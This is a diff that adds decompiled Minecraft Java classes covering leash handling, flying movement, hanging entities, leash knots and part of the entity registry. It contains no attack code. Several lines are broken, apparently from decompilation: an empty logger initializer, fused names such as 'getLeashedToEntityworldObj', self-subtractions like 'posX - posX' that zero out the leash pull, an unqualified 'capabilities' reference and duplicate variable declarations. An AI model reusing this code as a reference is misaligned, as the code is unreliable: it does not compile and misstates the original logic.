+  {
+    return !navigator.noPath();
+  }
+  
+  public boolean isWithinHomeDistanceCurrentPosition()
+  {
+    return func_180485_d(new BlockPos(this));
+  }
+  
+  public boolean func_180485_d(BlockPos p_180485_1_)
+  {
+    return maximumHomeDistance == -1.0F;
+  }
+  
+  public void func_175449_a(BlockPos p_175449_1_, int p_175449_2_)
+  {
+    homePosition = p_175449_1_;
+    maximumHomeDistance = p_175449_2_;
+  }
+  
+  public BlockPos func_180486_cf()
+  {
+    return homePosition;
+  }
+  
+  public float getMaximumHomeDistance()
+  {
+    return maximumHomeDistance;
+  }
+  
+  public void detachHome()
+  {
+    maximumHomeDistance = -1.0F;
+  }
+  
+
+
+
+  public boolean hasHome()
+  {
+    return maximumHomeDistance != -1.0F;
+  }
+  
+
+
+
+  protected void updateLeashedState()
+  {
+    super.updateLeashedState();
+    
+    if ((getLeashed()) && (getLeashedToEntity() != null) && (getLeashedToEntityworldObj == worldObj))
+    {
+      Entity var1 = getLeashedToEntity();
+      func_175449_a(new BlockPos((int)posX, (int)posY, (int)posZ), 5);
+      float var2 = getDistanceToEntity(var1);
+      
+      if (((this instanceof EntityTameable)) && (((EntityTameable)this).isSitting()))
+      {
+        if (var2 > 10.0F)
+        {
+          clearLeashed(true, true);
+        }
+        
+        return;
+      }
+      
+      if (!field_110180_bt)
+      {
+        tasks.addTask(2, aiBase);
+        
+        if ((getNavigator() instanceof PathNavigateGround))
+        {
+          ((PathNavigateGround)getNavigator()).func_179690_a(false);
+        }
+        
+        field_110180_bt = true;
+      }
+      
+      func_142017_o(var2);
+      
+      if (var2 > 4.0F)
+      {
+        getNavigator().tryMoveToEntityLiving(var1, 1.0D);
+      }
+      
+      if (var2 > 6.0F)
+      {
+        double var3 = (posX - posX) / var2;
+        double var5 = (posY - posY) / var2;
+        double var7 = (posZ - posZ) / var2;
+        motionX += var3 * Math.abs(var3) * 0.4D;
+        motionY += var5 * Math.abs(var5) * 0.4D;
+        motionZ += var7 * Math.abs(var7) * 0.4D;
+      }
+      
+      if (var2 > 10.0F)
+      {
+        clearLeashed(true, true);
+      }
+    }
+    else if ((!getLeashed()) && (field_110180_bt))
+    {
+      field_110180_bt = false;
+      tasks.removeTask(aiBase);
+      
+      if ((getNavigator() instanceof PathNavigateGround))
+      {
+        ((PathNavigateGround)getNavigator()).func_179690_a(true);
+      }
+      
+      detachHome();
+    }
+  }
+  
+  protected void func_142017_o(float p_142017_1_) {}
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityFlying.java b/src/minecraft/net/minecraft/entity/EntityFlying.java
new file mode 100644
index 0000000..1e5b6a3
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityFlying.java
@@ -0,0 +1,87 @@
+package net.minecraft.entity;
+
+import net.minecraft.block.Block;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public abstract class EntityFlying extends EntityLiving
+{
+  private static final String __OBFID = "CL_00001545";
+  
+  public EntityFlying(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+
+  public void fall(float distance, float damageMultiplier) {}
+  
+
+  protected void func_180433_a(double p_180433_1_, boolean p_180433_3_, Block p_180433_4_, BlockPos p_180433_5_) {}
+  
+
+  public void moveEntityWithHeading(float p_70612_1_, float p_70612_2_)
+  {
+    if (isInWater())
+    {
+      moveFlying(p_70612_1_, p_70612_2_, 0.02F);
+      moveEntity(motionX, motionY, motionZ);
+      motionX *= 0.800000011920929D;
+      motionY *= 0.800000011920929D;
+      motionZ *= 0.800000011920929D;
+    }
+    else if (func_180799_ab())
+    {
+      moveFlying(p_70612_1_, p_70612_2_, 0.02F);
+      moveEntity(motionX, motionY, motionZ);
+      motionX *= 0.5D;
+      motionY *= 0.5D;
+      motionZ *= 0.5D;
+    }
+    else
+    {
+      float var3 = 0.91F;
+      
+      if (onGround)
+      {
+        var3 = worldObj.getBlockState(new BlockPos(MathHelper.floor_double(posX), MathHelper.floor_double(getEntityBoundingBoxminY) - 1, MathHelper.floor_double(posZ))).getBlock().slipperiness * 0.91F;
+      }
+      
+      float var4 = 0.16277136F / (var3 * var3 * var3);
+      moveFlying(p_70612_1_, p_70612_2_, onGround ? 0.1F * var4 : 0.02F);
+      var3 = 0.91F;
+      
+      if (onGround)
+      {
+        var3 = worldObj.getBlockState(new BlockPos(MathHelper.floor_double(posX), MathHelper.floor_double(getEntityBoundingBoxminY) - 1, MathHelper.floor_double(posZ))).getBlock().slipperiness * 0.91F;
+      }
+      
+      moveEntity(motionX, motionY, motionZ);
+      motionX *= var3;
+      motionY *= var3;
+      motionZ *= var3;
+    }
+    
+    prevLimbSwingAmount = limbSwingAmount;
+    double var8 = posX - prevPosX;
+    double var5 = posZ - prevPosZ;
+    float var7 = MathHelper.sqrt_double(var8 * var8 + var5 * var5) * 4.0F;
+    
+    if (var7 > 1.0F)
+    {
+      var7 = 1.0F;
+    }
+    
+    limbSwingAmount += (var7 - limbSwingAmount) * 0.4F;
+    limbSwing += limbSwingAmount;
+  }
+  
+
+
+
+  public boolean isOnLadder()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityHanging.java b/src/minecraft/net/minecraft/entity/EntityHanging.java
new file mode 100644
index 0000000..562ab68
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityHanging.java
@@ -0,0 +1,299 @@
+package net.minecraft.entity;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.DamageSource;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.EnumFacing.Axis;
+import net.minecraft.world.World;
+import org.apache.commons.lang3.Validate;
+
+public abstract class EntityHanging extends Entity
+{
+  private int tickCounter1;
+  protected BlockPos field_174861_a;
+  public EnumFacing field_174860_b;
+  private static final String __OBFID = "CL_00001546";
+  
+  public EntityHanging(World worldIn)
+  {
+    super(worldIn);
+    setSize(0.5F, 0.5F);
+  }
+  
+  public EntityHanging(World worldIn, BlockPos p_i45853_2_)
+  {
+    this(worldIn);
+    field_174861_a = p_i45853_2_;
+  }
+  
+  protected void entityInit() {}
+  
+  protected void func_174859_a(EnumFacing p_174859_1_)
+  {
+    Validate.notNull(p_174859_1_);
+    Validate.isTrue(p_174859_1_.getAxis().isHorizontal());
+    field_174860_b = p_174859_1_;
+    prevRotationYaw = (this.rotationYaw = field_174860_b.getHorizontalIndex() * 90);
+    func_174856_o();
+  }
+  
+  private void func_174856_o()
+  {
+    if (field_174860_b != null)
+    {
+      double var1 = field_174861_a.getX() + 0.5D;
+      double var3 = field_174861_a.getY() + 0.5D;
+      double var5 = field_174861_a.getZ() + 0.5D;
+      double var7 = 0.46875D;
+      double var9 = func_174858_a(getWidthPixels());
+      double var11 = func_174858_a(getHeightPixels());
+      var1 -= field_174860_b.getFrontOffsetX() * 0.46875D;
+      var5 -= field_174860_b.getFrontOffsetZ() * 0.46875D;
+      var3 += var11;
+      EnumFacing var13 = field_174860_b.rotateYCCW();
+      var1 += var9 * var13.getFrontOffsetX();
+      var5 += var9 * var13.getFrontOffsetZ();
+      posX = var1;
+      posY = var3;
+      posZ = var5;
+      double var14 = getWidthPixels();
+      double var16 = getHeightPixels();
+      double var18 = getWidthPixels();
+      
+      if (field_174860_b.getAxis() == EnumFacing.Axis.Z)
+      {
+        var18 = 1.0D;
+      }
+      else
+      {
+        var14 = 1.0D;
+      }
+      
+      var14 /= 32.0D;
+      var16 /= 32.0D;
+      var18 /= 32.0D;
+      func_174826_a(new net.minecraft.util.AxisAlignedBB(var1 - var14, var3 - var16, var5 - var18, var1 + var14, var3 + var16, var5 + var18));
+    }
+  }
+  
+  private double func_174858_a(int p_174858_1_)
+  {
+    return p_174858_1_ % 32 == 0 ? 0.5D : 0.0D;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if ((tickCounter1++ == 100) && (!worldObj.isRemote))
+    {
+      tickCounter1 = 0;
+      
+      if ((!isDead) && (!onValidSurface()))
+      {
+        setDead();
+        onBroken(null);
+      }
+    }
+  }
+  
+
+
+
+  public boolean onValidSurface()
+  {
+    if (!worldObj.getCollidingBoundingBoxes(this, getEntityBoundingBox()).isEmpty())
+    {
+      return false;
+    }
+    
+
+    int var1 = Math.max(1, getWidthPixels() / 16);
+    int var2 = Math.max(1, getHeightPixels() / 16);
+    BlockPos var3 = field_174861_a.offset(field_174860_b.getOpposite());
+    EnumFacing var4 = field_174860_b.rotateYCCW();
+    
+    for (int var5 = 0; var5 < var1; var5++)
+    {
+      for (int var6 = 0; var6 < var2; var6++)
+      {
+        BlockPos var7 = var3.offset(var4, var5).offsetUp(var6);
+        Block var8 = worldObj.getBlockState(var7).getBlock();
+        
+        if ((!var8.getMaterial().isSolid()) && (!net.minecraft.block.BlockRedstoneDiode.isRedstoneRepeaterBlockID(var8)))
+        {
+          return false;
+        }
+      }
+    }
+    
+    List var9 = worldObj.getEntitiesWithinAABBExcludingEntity(this, getEntityBoundingBox());
+    Iterator var10 = var9.iterator();
+    
+    Entity var11;
+    do
+    {
+      if (!var10.hasNext())
+      {
+        return true;
+      }
+      
+      var11 = (Entity)var10.next();
+    }
+    while (!(var11 instanceof EntityHanging));
+    
+    return false;
+  }
+  
+
+
+
+
+  public boolean canBeCollidedWith()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean hitByEntity(Entity entityIn)
+  {
+    return (entityIn instanceof EntityPlayer) ? attackEntityFrom(DamageSource.causePlayerDamage((EntityPlayer)entityIn), 0.0F) : false;
+  }
+  
+  public EnumFacing func_174811_aO()
+  {
+    return field_174860_b;
+  }
+  
+
+
+
+  public boolean attackEntityFrom(DamageSource source, float amount)
+  {
+    if (func_180431_b(source))
+    {
+      return false;
+    }
+    
+
+    if ((!isDead) && (!worldObj.isRemote))
+    {
+      setDead();
+      setBeenAttacked();
+      onBroken(source.getEntity());
+    }
+    
+    return true;
+  }
+  
+
+
+
+
+  public void moveEntity(double x, double y, double z)
+  {
+    if ((!worldObj.isRemote) && (!isDead) && (x * x + y * y + z * z > 0.0D))
+    {
+      setDead();
+      onBroken(null);
+    }
+  }
+  
+
+
+
+  public void addVelocity(double x, double y, double z)
+  {
+    if ((!worldObj.isRemote) && (!isDead) && (x * x + y * y + z * z > 0.0D))
+    {
+      setDead();
+      onBroken(null);
+    }
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound)
+  {
+    tagCompound.setByte("Facing", (byte)field_174860_b.getHorizontalIndex());
+    tagCompound.setInteger("TileX", func_174857_n().getX());
+    tagCompound.setInteger("TileY", func_174857_n().getY());
+    tagCompound.setInteger("TileZ", func_174857_n().getZ());
+  }
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund)
+  {
+    field_174861_a = new BlockPos(tagCompund.getInteger("TileX"), tagCompund.getInteger("TileY"), tagCompund.getInteger("TileZ"));
+    
+    EnumFacing var2;
+    if (tagCompund.hasKey("Direction", 99))
+    {
+      EnumFacing var2 = EnumFacing.getHorizontal(tagCompund.getByte("Direction"));
+      field_174861_a = field_174861_a.offset(var2);
+    } else { EnumFacing var2;
+      if (tagCompund.hasKey("Facing", 99))
+      {
+        var2 = EnumFacing.getHorizontal(tagCompund.getByte("Facing"));
+      }
+      else
+      {
+        var2 = EnumFacing.getHorizontal(tagCompund.getByte("Dir"));
+      }
+    }
+    func_174859_a(var2);
+  }
+  
+
+  public abstract int getWidthPixels();
+  
+
+  public abstract int getHeightPixels();
+  
+
+  public abstract void onBroken(Entity paramEntity);
+  
+  protected boolean shouldSetPosAfterLoading()
+  {
+    return false;
+  }
+  
+
+
+
+  public void setPosition(double x, double y, double z)
+  {
+    posX = x;
+    posY = y;
+    posZ = z;
+    BlockPos var7 = field_174861_a;
+    field_174861_a = new BlockPos(x, y, z);
+    
+    if (!field_174861_a.equals(var7))
+    {
+      func_174856_o();
+      isAirBorne = true;
+    }
+  }
+  
+  public BlockPos func_174857_n()
+  {
+    return field_174861_a;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityLeashKnot.java b/src/minecraft/net/minecraft/entity/EntityLeashKnot.java
new file mode 100644
index 0000000..a4347cc
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityLeashKnot.java
@@ -0,0 +1,183 @@
+package net.minecraft.entity;
+
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.item.ItemStack;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class EntityLeashKnot extends EntityHanging
+{
+  private static final String __OBFID = "CL_00001548";
+  
+  public EntityLeashKnot(World worldIn)
+  {
+    super(worldIn);
+  }
+  
+  public EntityLeashKnot(World worldIn, BlockPos p_i45851_2_)
+  {
+    super(worldIn, p_i45851_2_);
+    setPosition(p_i45851_2_.getX() + 0.5D, p_i45851_2_.getY() + 0.5D, p_i45851_2_.getZ() + 0.5D);
+    float var3 = 0.125F;
+    float var4 = 0.1875F;
+    float var5 = 0.25F;
+    func_174826_a(new AxisAlignedBB(posX - 0.1875D, posY - 0.25D + 0.125D, posZ - 0.1875D, posX + 0.1875D, posY + 0.25D + 0.125D, posZ + 0.1875D));
+  }
+  
+  protected void entityInit()
+  {
+    super.entityInit();
+  }
+  
+  public void func_174859_a(EnumFacing p_174859_1_) {}
+  
+  public int getWidthPixels()
+  {
+    return 9;
+  }
+  
+  public int getHeightPixels()
+  {
+    return 9;
+  }
+  
+  public float getEyeHeight()
+  {
+    return -0.0625F;
+  }
+  
+
+
+
+
+  public boolean isInRangeToRenderDist(double distance)
+  {
+    return distance < 1024.0D;
+  }
+  
+
+
+
+
+  public void onBroken(Entity p_110128_1_) {}
+  
+
+
+
+
+  public boolean writeToNBTOptional(NBTTagCompound tagCompund)
+  {
+    return false;
+  }
+  
+
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound) {}
+  
+
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund) {}
+  
+
+
+
+  public boolean interactFirst(EntityPlayer playerIn)
+  {
+    ItemStack var2 = playerIn.getHeldItem();
+    boolean var3 = false;
+    
+
+
+
+
+    if ((var2 != null) && (var2.getItem() == net.minecraft.init.Items.lead) && (!worldObj.isRemote))
+    {
+      double var4 = 7.0D;
+      List var6 = worldObj.getEntitiesWithinAABB(EntityLiving.class, new AxisAlignedBB(posX - var4, posY - var4, posZ - var4, posX + var4, posY + var4, posZ + var4));
+      Iterator var7 = var6.iterator();
+      
+      while (var7.hasNext())
+      {
+        EntityLiving var8 = (EntityLiving)var7.next();
+        
+        if ((var8.getLeashed()) && (var8.getLeashedToEntity() == playerIn))
+        {
+          var8.setLeashedToEntity(this, true);
+          var3 = true;
+        }
+      }
+    }
+    
+    if ((!worldObj.isRemote) && (!var3))
+    {
+      setDead();
+      
+      if (capabilities.isCreativeMode)
+      {
+        double var4 = 7.0D;
+        List var6 = worldObj.getEntitiesWithinAABB(EntityLiving.class, new AxisAlignedBB(posX - var4, posY - var4, posZ - var4, posX + var4, posY + var4, posZ + var4));
+        Iterator var7 = var6.iterator();
+        
+        while (var7.hasNext())
+        {
+          EntityLiving var8 = (EntityLiving)var7.next();
+          
+          if ((var8.getLeashed()) && (var8.getLeashedToEntity() == this))
+          {
+            var8.clearLeashed(true, false);
+          }
+        }
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+  public boolean onValidSurface()
+  {
+    return worldObj.getBlockState(field_174861_a).getBlock() instanceof net.minecraft.block.BlockFence;
+  }
+  
+  public static EntityLeashKnot func_174862_a(World worldIn, BlockPos p_174862_1_)
+  {
+    EntityLeashKnot var2 = new EntityLeashKnot(worldIn, p_174862_1_);
+    forceSpawn = true;
+    worldIn.spawnEntityInWorld(var2);
+    return var2;
+  }
+  
+  public static EntityLeashKnot func_174863_b(World worldIn, BlockPos p_174863_1_)
+  {
+    int var2 = p_174863_1_.getX();
+    int var3 = p_174863_1_.getY();
+    int var4 = p_174863_1_.getZ();
+    List var5 = worldIn.getEntitiesWithinAABB(EntityLeashKnot.class, new AxisAlignedBB(var2 - 1.0D, var3 - 1.0D, var4 - 1.0D, var2 + 1.0D, var3 + 1.0D, var4 + 1.0D));
+    Iterator var6 = var5.iterator();
+    
+    EntityLeashKnot var7;
+    do
+    {
+      if (!var6.hasNext())
+      {
+        return null;
+      }
+      
+      var7 = (EntityLeashKnot)var6.next();
+    }
+    while (!var7.func_174857_n().equals(p_174863_1_));
+    
+    return var7;
+  }
+}
diff --git a/src/minecraft/net/minecraft/entity/EntityList.java b/src/minecraft/net/minecraft/entity/EntityList.java
new file mode 100644
index 0000000..2fc7189
--- /dev/null
+++ b/src/minecraft/net/minecraft/entity/EntityList.java
@@ -0,0 +1,397 @@
+package net.minecraft.entity;
+
+import com.google.common.collect.Lists;
+import com.google.common.collect.Maps;
+import java.lang.reflect.Constructor;
+import java.util.ArrayList;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import net.minecraft.entity.ai.EntityMinecartMobSpawner;
+import net.minecraft.entity.boss.EntityDragon;
+import net.minecraft.entity.boss.EntityWither;
+import net.minecraft.entity.effect.EntityLightningBolt;
+import net.minecraft.entity.item.EntityArmorStand;
+import net.minecraft.entity.item.EntityBoat;
+import net.minecraft.entity.item.EntityEnderCrystal;
+import net.minecraft.entity.item.EntityEnderEye;
+import net.minecraft.entity.item.EntityEnderPearl;
+import net.minecraft.entity.item.EntityExpBottle;
+import net.minecraft.entity.item.EntityFallingBlock;
+import net.minecraft.entity.item.EntityFireworkRocket;
+import net.minecraft.entity.item.EntityItem;
+import net.minecraft.entity.item.EntityItemFrame;
+import net.minecraft.entity.item.EntityMinecart.EnumMinecartType;
+import net.minecraft.entity.item.EntityMinecartChest;
+import net.minecraft.entity.item.EntityMinecartEmpty;
+import net.minecraft.entity.item.EntityMinecartFurnace;
+import net.minecraft.entity.item.EntityMinecartHopper;
+import net.minecraft.entity.item.EntityMinecartTNT;
+import net.minecraft.entity.item.EntityPainting;
+import net.minecraft.entity.item.EntityTNTPrimed;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.entity.monster.EntityBlaze;
+import net.minecraft.entity.monster.EntityCaveSpider;
+import net.minecraft.entity.monster.EntityCreeper;
+import net.minecraft.entity.monster.EntityEnderman;
+import net.minecraft.entity.monster.EntityEndermite;
+import net.minecraft.entity.monster.EntityGhast;
+import net.minecraft.entity.monster.EntityGiantZombie;
+import net.minecraft.entity.monster.EntityGuardian;
+import net.minecraft.entity.monster.EntityIronGolem;
+import net.minecraft.entity.monster.EntityMob;
+import net.minecraft.entity.monster.EntityPigZombie;
+import net.minecraft.entity.monster.EntitySilverfish;
+import net.minecraft.entity.monster.EntitySkeleton;
+import net.minecraft.entity.monster.EntitySlime;
+import net.minecraft.entity.monster.EntitySnowman;
+import net.minecraft.entity.monster.EntitySpider;
+import net.minecraft.entity.monster.EntityWitch;
+import net.minecraft.entity.monster.EntityZombie;
+import net.minecraft.entity.passive.EntityBat;
+import net.minecraft.entity.passive.EntityChicken;
+import net.minecraft.entity.passive.EntityCow;
+import net.minecraft.entity.passive.EntityHorse;
+import net.minecraft.entity.passive.EntityMooshroom;
+import net.minecraft.entity.passive.EntityOcelot;
+import net.minecraft.entity.passive.EntityPig;
+import net.minecraft.entity.passive.EntityRabbit;
+import net.minecraft.entity.passive.EntitySheep;
+import net.minecraft.entity.passive.EntitySquid;
+import net.minecraft.entity.passive.EntityVillager;
+import net.minecraft.entity.passive.EntityWolf;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntityArrow;
+import net.minecraft.entity.projectile.EntityLargeFireball;
+import net.minecraft.entity.projectile.EntityPotion;
+import net.minecraft.entity.projectile.EntitySmallFireball;
+import net.minecraft.entity.projectile.EntitySnowball;
+import net.minecraft.entity.projectile.EntityWitherSkull;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.stats.StatBase;
+import net.minecraft.stats.StatList;
+import net.minecraft.world.World;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class EntityList
+{
+  private static final Logger logger = ;
+  
+
+  private static final Map stringToClassMapping = Maps.newHashMap();
+  
+
+  private static final Map classToStringMapping = Maps.newHashMap();
+  
+
+  private static final Map idToClassMapping = Maps.newHashMap();
+  
+
+  private static final Map classToIDMapping = Maps.newHashMap();
+  private static final Map field_180126_g = Maps.newHashMap();
+  
+
+  public static final Map entityEggs = Maps.newLinkedHashMap();
+  
+
+  private static final String __OBFID = "CL_00001538";
+  
+
+  private static void addMapping(Class p_75618_0_, String p_75618_1_, int p_75618_2_)
+  {
+    if (stringToClassMapping.containsKey(p_75618_1_))
+    {
+      throw new IllegalArgumentException("ID is already registered: " + p_75618_1_);
+    }
+    if (idToClassMapping.containsKey(Integer.valueOf(p_75618_2_)))
+    {
+      throw new IllegalArgumentException("ID is already registered: " + p_75618_2_);
+    }
+    if (p_75618_2_ == 0)
+    {
+      throw new IllegalArgumentException("Cannot register to reserved id: " + p_75618_2_);
+    }
+    if (p_75618_0_ == null)
+    {
+      throw new IllegalArgumentException("Cannot register null clazz for id: " + p_75618_2_);
+    }
+    
+
+    stringToClassMapping.put(p_75618_1_, p_75618_0_);
+    classToStringMapping.put(p_75618_0_, p_75618_1_);
+    idToClassMapping.put(Integer.valueOf(p_75618_2_), p_75618_0_);
+    classToIDMapping.put(p_75618_0_, Integer.valueOf(p_75618_2_));
+    field_180126_g.put(p_75618_1_, Integer.valueOf(p_75618_2_));
+  }
+  
+
+
+
+
+  private static void addMapping(Class p_75614_0_, String p_75614_1_, int p_75614_2_, int p_75614_3_, int p_75614_4_)
+  {
+    addMapping(p_75614_0_, p_75614_1_, p_75614_2_);
+    entityEggs.put(Integer.valueOf(p_75614_2_), new EntityEggInfo(p_75614_2_, p_75614_3_, p_75614_4_));
+  }
+  
+
+
+
+  public static Entity createEntityByName(String p_75620_0_, World worldIn)
+  {
+    Entity var2 = null;
+    
+    try
+    {
+      Class var3 = (Class)stringToClassMapping.get(p_75620_0_);
+      
+      if (var3 != null)
+      {
+        var2 = (Entity)var3.getConstructor(new Class[] { World.class }).newInstance(new Object[] { worldIn });
+      }
+    }
+    catch (Exception var4)
+    {
+      var4.printStackTrace();
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public static Entity createEntityFromNBT(NBTTagCompound p_75615_0_, World worldIn)
+  {
+    Entity var2 = null;
+    
+    if ("Minecart".equals(p_75615_0_.getString("id")))
+    {
+      p_75615_0_.setString("id", EntityMinecart.EnumMinecartType.func_180038_a(p_75615_0_.getInteger("Type")).func_180040_b());
+      p_75615_0_.removeTag("Type");
+    }
+    
+    try
+    {
+      Class var3 = (Class)stringToClassMapping.get(p_75615_0_.getString("id"));
+      
+      if (var3 != null)
+      {
+        var2 = (Entity)var3.getConstructor(new Class[] { World.class }).newInstance(new Object[] { worldIn });
+      }
+    }
+    catch (Exception var4)
+    {
+      var4.printStackTrace();
+    }
+    
+    if (var2 != null)
+    {
+      var2.readFromNBT(p_75615_0_);
+    }
+    else
+    {
+      logger.warn("Skipping Entity with id " + p_75615_0_.getString("id"));
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public static Entity createEntityByID(int p_75616_0_, World worldIn)
+  {
+    Entity var2 = null;
+    
+    try
+    {
+      Class var3 = getClassFromID(p_75616_0_);
+      
+      if (var3 != null)
+      {
+        var2 = (Entity)var3.getConstructor(new Class[] { World.class }).newInstance(new Object[] { worldIn });
+      }
+    }
+    catch (Exception var4)
+    {
+      var4.printStackTrace();
+    }
+    
+    if (var2 == null)
+    {
+      logger.warn("Skipping Entity with id " + p_75616_0_);
+    }
+    
+    return var2;
+  }
+  
+
+
+
+  public static int getEntityID(Entity p_75619_0_)
+  {
+    Integer var1 = (Integer)classToIDMapping.get(p_75619_0_.getClass());
+    return var1 == null ? 0 : var1.intValue();
+  }
+  
+
+
+
+  public static Class getClassFromID(int p_90035_0_)
+  {
+    return (Class)idToClassMapping.get(Integer.valueOf(p_90035_0_));
+  }
+  
+
+
+
+  public static String getEntityString(Entity p_75621_0_)
+  {
+    return (String)classToStringMapping.get(p_75621_0_.getClass());
+  }
+  
+  public static int func_180122_a(String p_180122_0_)
+  {
+    Integer var1 = (Integer)field_180126_g.get(p_180122_0_);
+    return var1 == null ? 90 : var1.intValue();
+  }
+  
+
+
+
+  public static String getStringFromID(int p_75617_0_)
+  {
+    return (String)classToStringMapping.get(getClassFromID(p_75617_0_));
+  }
+  
+
+
+  public static List func_180124_b()
+  {
+    Set var0 = stringToClassMapping.keySet();
+    ArrayList var1 = Lists.newArrayList();
+    Iterator var2 = var0.iterator();
+    
+    while (var2.hasNext())
+    {
+      String var3 = (String)var2.next();
+      Class var4 = (Class)stringToClassMapping.get(var3);
+      
+      if ((var4.getModifiers() & 0x400) != 1024)
+      {
+        var1.add(var3);
+      }
+    }
+    
+    var1.add("LightningBolt");
+    return var1;
+  }
+  
+  public static boolean func_180123_a(Entity p_180123_0_, String p_180123_1_)
+  {
+    String var2 = getEntityString(p_180123_0_);
+    
+    if ((var2 == null) && ((p_180123_0_ instanceof EntityPlayer)))
+    {
+      var2 = "Player";
+    }
+    else if ((var2 == null) && ((p_180123_0_ instanceof EntityLightningBolt)))
+    {
+      var2 = "LightningBolt";
+    }
+    
+    return p_180123_1_.equals(var2);
+  }
+  
+  public static boolean func_180125_b(String p_180125_0_)
+  {
+    return ("Player".equals(p_180125_0_)) || (func_180124_b().contains(p_180125_0_));
+  }
+  
+  static
+  {
+    addMapping(EntityItem.class, "Item", 1);
+    addMapping(EntityXPOrb.class, "XPOrb", 2);
+    addMapping(EntityLeashKnot.class, "LeashKnot", 8);
+    addMapping(EntityPainting.class, "Painting", 9);
+    addMapping(EntityArrow.class, "Arrow", 10);
+    addMapping(EntitySnowball.class, "Snowball", 11);
+    addMapping(EntityLargeFireball.class, "Fireball", 12);
+    addMapping(EntitySmallFireball.class, "SmallFireball", 13);
+    addMapping(EntityEnderPearl.class, "ThrownEnderpearl", 14);
+    addMapping(EntityEnderEye.class, "EyeOfEnderSignal", 15);
+    addMapping(EntityPotion.class, "ThrownPotion", 16);
+    addMapping(EntityExpBottle.class, "ThrownExpBottle", 17);
+    addMapping(EntityItemFrame.class, "ItemFrame", 18);
+    addMapping(EntityWitherSkull.class, "WitherSkull", 19);
+    addMapping(EntityTNTPrimed.class, "PrimedTnt", 20);
+    addMapping(EntityFallingBlock.class, "FallingSand", 21);
+    addMapping(EntityFireworkRocket.class, "FireworksRocketEntity", 22);
+    addMapping(EntityArmorStand.class, "ArmorStand", 30);
+    addMapping(EntityBoat.class, "Boat", 41);
+    addMapping(EntityMinecartEmpty.class, EntityMinecart.EnumMinecartType.RIDEABLE.func_180040_b(), 42);
+    addMapping(EntityMinecartChest.class, EntityMinecart.EnumMinecartType.CHEST.func_180040_b(), 43);
+    addMapping(EntityMinecartFurnace.class, EntityMinecart.EnumMinecartType.FURNACE.func_180040_b(), 44);
+    addMapping(EntityMinecartTNT.class, EntityMinecart.EnumMinecartType.TNT.func_180040_b(), 45);
+    addMapping(EntityMinecartHopper.class, EntityMinecart.EnumMinecartType.HOPPER.func_180040_b(), 46);
+    addMapping(EntityMinecartMobSpawner.class, EntityMinecart.EnumMinecartType.SPAWNER.func_180040_b(), 47);
+    addMapping(EntityMinecartCommandBlock.class, EntityMinecart.EnumMinecartType.COMMAND_BLOCK.func_180040_b(), 40);
+    addMapping(EntityLiving.class, "Mob", 48);
+    addMapping(EntityMob.class, "Monster", 49);
+    addMapping(EntityCreeper.class, "Creeper", 50, 894731, 0);
+    addMapping(EntitySkeleton.class, "Skeleton", 51, 12698049, 4802889);
+    addMapping(EntitySpider.class, "Spider", 52, 3419431, 11013646);
+    addMapping(EntityGiantZombie.class, "Giant", 53);
+    addMapping(EntityZombie.class, "Zombie", 54, 44975, 7969893);
+    addMapping(EntitySlime.class, "Slime", 55, 5349438, 8306542);
+    addMapping(EntityGhast.class, "Ghast", 56, 16382457, 12369084);
+    addMapping(EntityPigZombie.class, "PigZombie", 57, 15373203, 5009705);
+    addMapping(EntityEnderman.class, "Enderman", 58, 1447446, 0);
+    addMapping(EntityCaveSpider.class, "CaveSpider", 59, 803406, 11013646);
+    addMapping(EntitySilverfish.class, "Silverfish", 60, 7237230, 3158064);
+    addMapping(EntityBlaze.class, "Blaze", 61, 16167425, 16775294);
+    addMapping(net.minecraft.entity.monster.EntityMagmaCube.class, "LavaSlime", 62, 3407872, 16579584);
+    addMapping(EntityDragon.class, "EnderDragon", 63);
+    addMapping(EntityWither.class, "WitherBoss", 64);
+    addMapping(EntityBat.class, "Bat", 65, 4996656, 986895);
+    addMapping(EntityWitch.class, "Witch", 66, 3407872, 5349438);
+    addMapping(EntityEndermite.class, "Endermite", 67, 1447446, 7237230);
+    addMapping(EntityGuardian.class, "Guardian", 68, 5931634, 15826224);
+    addMapping(EntityPig.class, "Pig", 90, 15771042, 14377823);
+    addMapping(EntitySheep.class, "Sheep", 91, 15198183, 16758197);
+    addMapping(EntityCow.class, "Cow", 92, 4470310, 10592673);
+    addMapping(EntityChicken.class, "Chicken", 93, 10592673, 16711680);
+    addMapping(EntitySquid.class, "Squid", 94, 2243405, 7375001);
